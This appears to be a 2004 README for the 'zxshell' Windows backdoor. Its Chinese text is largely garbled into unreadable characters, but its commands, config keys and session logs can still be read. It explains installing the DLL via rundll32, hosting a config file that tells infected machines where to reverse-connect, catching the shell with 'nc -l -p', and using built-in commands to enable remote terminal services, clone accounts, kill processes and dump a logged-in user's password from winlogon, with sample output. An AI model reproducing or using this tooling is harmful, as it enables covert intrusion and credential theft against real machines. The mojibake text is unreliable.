
 

ľһǸBingleĹsvchostԭдģԸСŵbitsƵĵطwinshellĵĹܣͷ֪ͨĹܡ

zxrecv.exe	շ˷ϢҲг߷˵Ϣ
zxshell.exe	Ʒzxshell.dll
zxsvc.ini	֪ͨ˵ļ
nc.exe          ӷ˵



 ԭ

   ʱȡûָϵһļûͨҳռϵļ֪ͨӦӦ
ڷ˵֪ͨʵ͵˵еһλ
============================================================================
͵õһָȽķUDP֪ͨͻ󣬻Ὣ
ԼIPַдҳռָļ˶ڶȡļݣͿɵõ
ͻ˵IPַԼһЩϢ(IPַʱȵ)UDPЭ
鷢͸ͻˡ
============================================================================

ֻǳģԭ滹Լ޸zxsvc.iniϴ鷳һЩֻ֧webϴѿռûơ


 ܼ

A   ̹п

B   ƽʱûж˿ڣֻϵͳг䵱Ե׵Ľɫ

C   ṩӺͷֹ

D   ˾֪ͨ

E   Windows2000/XP/2003

б             ע 
?                   ʾϢ
info	            ϵͳ汾Ϣ
shell               ϵͳʾ
download            Http
list                гн
kill                ָ
termsvc             ն˷
fpass               鿴ѵ½û
clone               ¡/ɾû
whoami              ʾĽPID
remove              ñ
exit                ˳رշ
quit                ˳رշ
reboot              
shutdown            رռ



 ʹ÷

ע⣺ȱһWEBռϴ zxsvc.ini.

1ʹã

ȴ˵ѡһϵͳ,ȻдһԴWEBռzxsvc.iniַ

磺http://www.xxx.com/zxsvc.ini

ҲԽzxsvc.iniΪ֣ ip.txt,ôдַ http://www.xxx.com/ip.txt

ȷɰťͿԵõúõzxshell.dllˡ


2װжװ

   װ   rundll32 zxshell.dll,I      (źIעִСд)
   жװ   telnetϷ˺remove

3zxsvc.ini

ûװúõķ˺󣬱뽫zxsvc.iniúúϴƷʱ趨ַzxsvc.iniļԭʼ£
ûֻޡ=!

[zxconfig]

MyIP=127.0.0.1		߷˽UDPϢIPַ,ҲԼIP
Port=2004		߷˴˿ڵȴ
Password=123456		ͻʱҪ
Banner=Password:	ʾ

BackConnect=0		0ʾ÷ӣҲǴ򿪶˿ڵȴӣ1ʾ֪ͨ˷ӡ	
ServerID=123		BackConnect=1ʱݾҪ֪ͨķ˵ServerIDţúڽյUDPϢṩ
LocalPort=8080		BackConnect=1ʱnc.exeʹãڱش򿪶˿磺nc -l -p 8080ٴνշshellʹһLocalPort!

úúzxrecv.exeܷ˵ϢȻzxsvc.iniϴҳռ䣬λñӦƷʱ趨ַ˶ȡıȸMyIPϢ(IPַServerIDţжBackConnectֵ=0Portȴӣ=1жServerIDǷԼһMyIPShell


4ӷ

zxrecv.exeյϢʱཱུϢʽΪ @ IPַ [ServerID]
磺	BillGates@211.21.x.x[2430]

zxsvc.iniã
BackConnect=0ʱҲǸ߷˴Port=2004˿ڵȴӣ

ѡwindowsϵͳԴtelnetӵ½£

򿪸еʾȻ: telnet 211.21.x.x 2004
ʹnc.exeʽΪ  nc 211.21.x.x 2004
ɹͻյʾPassword:
ʱPassword=õ󰴻سͿԵ½ˣעѡwindowsϵͳԴtelnetʱʹ̵Ļس

½ɹյ˵б

BackConnect=1ʱҲǸ߷˷ӣʱҪnc.exeڱ˿ڣ

磺nc -l -p 888
ôʹ888˿ڵȴ˵ӣ

ʱҪָ֪ͨķִзˣҪ޸zxsvc.ini
zxrecv.exeʾ
HostName @ IP [ServerID]

BillGates@211.21.x.x[2430]

ôzxsvc.iniҪĵļֵ
MyIP=ﵱȻIP

BackConnect=1
ServerID=2430
LocalPort=888

½zxsvc.iniϴϣ˶ȡµݺͻ888˿!
õshellܺһ£


C:\>nc -l -p 888

б            ע

?                   ʾϢ
info                ϵͳ汾Ϣ
shell               ϵͳʾ
download            Http
list                гн
kill                ָ
termsvc             ն˷
fpass               鿴ѵ½û
clone               ¡/ɾû
whoami              ʾĽPID
remove              ñ
exit                ˳رշ
quit                ˳رշ
reboot              
shutdown            رռ

CMD>ִʲôͼӦس!
CMD>info
ϵͳ汾Windows XP Professional
ԣSimplified Chinese
汾07/01/2001,5.1.2600.0

ɹɡ

CMD>shell

Microsoft Windows XP [汾 5.1.2600]
(C) Ȩ 1985-2001 Microsoft Corp.

E:\hack>exit

CMD>termsvc      /////Կ2000\xp\2003նˣ2000Ҫ
ǰն˷˿Ϊ: 3389
Ҫö˿? (y/n): n

ǰΪ[]Զն.
ҪıΪ[]? (y/n): y


ɹɡ

CMD>fpass

        ҵ½û[For WinNT\2000] ЩxpϵͳҲɹܸΪԶ½йϵ

Process         PID
winlogon.exe    392

Domain And User:
LZX-SERVER\zx

ӵȨɹ.
ʼڽPID: 392 в LZX-SERVER\zx ...
 0x00e40800 ҵһΪ 6 ֽڵı.
ü½Ϣ: ½: LZX-SERVER û: zx : 520520.

CMD>exit


OK˾Խˣϣʹ߶ᱦллʹã

				ϵʽEmail: cnlzx@tom.com
             				QQ: 5088090


					          ---- LZX
						2004.07.29


